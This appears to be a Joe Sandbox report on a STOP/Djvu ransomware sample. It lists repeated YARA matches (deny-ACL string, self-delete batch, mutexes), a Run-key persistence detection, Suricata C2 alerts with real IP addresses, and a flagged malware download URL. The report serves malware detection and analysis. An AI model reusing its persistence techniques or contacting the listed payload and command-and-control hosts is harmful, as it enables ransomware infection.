5.2.n41dQbiw1Y.exe.43415a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
7.2.n41dQbiw1Y.exe.43615a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
7.2.n41dQbiw1Y.exe.43615a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
7.2.n41dQbiw1Y.exe.43615a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.2.n41dQbiw1Y.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.2.n41dQbiw1Y.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.2.n41dQbiw1Y.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
4.2.n41dQbiw1Y.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
4.2.n41dQbiw1Y.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
4.2.n41dQbiw1Y.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.n41dQbiw1Y.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.n41dQbiw1Y.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.n41dQbiw1Y.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
1.2.n41dQbiw1Y.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.2.n41dQbiw1Y.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
1.2.n41dQbiw1Y.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
1.2.n41dQbiw1Y.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.2.n41dQbiw1Y.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
1.2.n41dQbiw1Y.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
3.2.n41dQbiw1Y.exe.43615a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
3.2.n41dQbiw1Y.exe.43615a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
3.2.n41dQbiw1Y.exe.43615a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
10.2.n41dQbiw1Y.exe.43f15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
10.2.n41dQbiw1Y.exe.43f15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.2.n41dQbiw1Y.exe.43f15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.2.n41dQbiw1Y.exe.43415a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.n41dQbiw1Y.exe.43415a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.n41dQbiw1Y.exe.43415a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
3.2.n41dQbiw1Y.exe.43615a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
3.2.n41dQbiw1Y.exe.43615a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
3.2.n41dQbiw1Y.exe.43615a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
7.2.n41dQbiw1Y.exe.43615a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.2.n41dQbiw1Y.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
7.2.n41dQbiw1Y.exe.43615a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.2.n41dQbiw1Y.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
7.2.n41dQbiw1Y.exe.43615a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.2.n41dQbiw1Y.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.n41dQbiw1Y.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.n41dQbiw1Y.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.n41dQbiw1Y.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
10.2.n41dQbiw1Y.exe.43f15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
10.2.n41dQbiw1Y.exe.43f15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.2.n41dQbiw1Y.exe.43f15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
8.2.n41dQbiw1Y.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
8.2.n41dQbiw1Y.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
8.2.n41dQbiw1Y.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
4.2.n41dQbiw1Y.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
4.2.n41dQbiw1Y.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
4.2.n41dQbiw1Y.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
8.2.n41dQbiw1Y.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
8.2.n41dQbiw1Y.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
8.2.n41dQbiw1Y.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
Click to see the 55 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe" --AutoStart, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\n41dQbiw1Y.exe, ProcessId: 7288, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper

Suricata Signatures

ET MALWARE Potential Dridex.Maldoc Minimal Executable Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T21:16:34.826258+0100	2020826	1	A Network Trojan was detected	192.168.2.4	49734	188.40.141.211	80	TCP

ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T21:16:33.529463+0100	2036334	1	A Network Trojan was detected	192.168.2.4	49734	188.40.141.211	80	TCP

ET MALWARE Win32/Vodkagats Loader Requesting Payload

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T21:16:34.826258+0100	2036333	1	A Network Trojan was detected	192.168.2.4	49734	188.40.141.211	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T21:16:30.074353+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49730	104.21.80.1	443	TCP
2025-01-09T21:16:32.534555+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49731	104.21.80.1	443	TCP
2025-01-09T21:16:33.332586+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49732	104.21.80.1	443	TCP
2025-01-09T21:16:33.529463+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49734	188.40.141.211	80	TCP
2025-01-09T21:16:34.025211+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49735	188.40.141.211	80	TCP
2025-01-09T21:16:34.826258+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49734	188.40.141.211	80	TCP
2025-01-09T21:16:38.821038+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49734	188.40.141.211	80	TCP
2025-01-09T21:16:39.579817+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49735	188.40.141.211	80	TCP
2025-01-09T21:16:44.109849+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49734	188.40.141.211	80	TCP
2025-01-09T21:16:44.561780+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49736	104.21.80.1	443	TCP
2025-01-09T21:16:44.931482+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49735	188.40.141.211	80	TCP
2025-01-09T21:16:49.327194+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49734	188.40.141.211	80	TCP
2025-01-09T21:16:50.231002+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49735	188.40.141.211	80	TCP
2025-01-09T21:16:52.809208+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	57797	104.21.80.1	443	TCP

ETPRO MALWARE STOP Ransomware CnC Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T21:16:34.025211+0100	2833438	1	Malware Command and Control Activity Detected	192.168.2.4	49735	188.40.141.211	80	TCP
2025-01-09T21:16:39.579817+0100	2833438	1	Malware Command and Control Activity Detected	192.168.2.4	49735	188.40.141.211	80	TCP
2025-01-09T21:16:44.931482+0100	2833438	1	Malware Command and Control Activity Detected	192.168.2.4	49735	188.40.141.211	80	TCP
2025-01-09T21:16:50.231002+0100	2833438	1	Malware Command and Control Activity Detected	192.168.2.4	49735	188.40.141.211	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: n41dQbiw1Y.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://colisumy.com/dl/build2.exe$run	Avira URL Cloud: Label: malware
Source: http://colisumy.com/dl/build2.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe

Avira: detection malicious, Label: HEUR/AGEN.1312455

Found malware configuration

Source: 0000000A.00000002.1886225243.00000000043F0000.00000040.00001000.00020000.00000000.sdmp

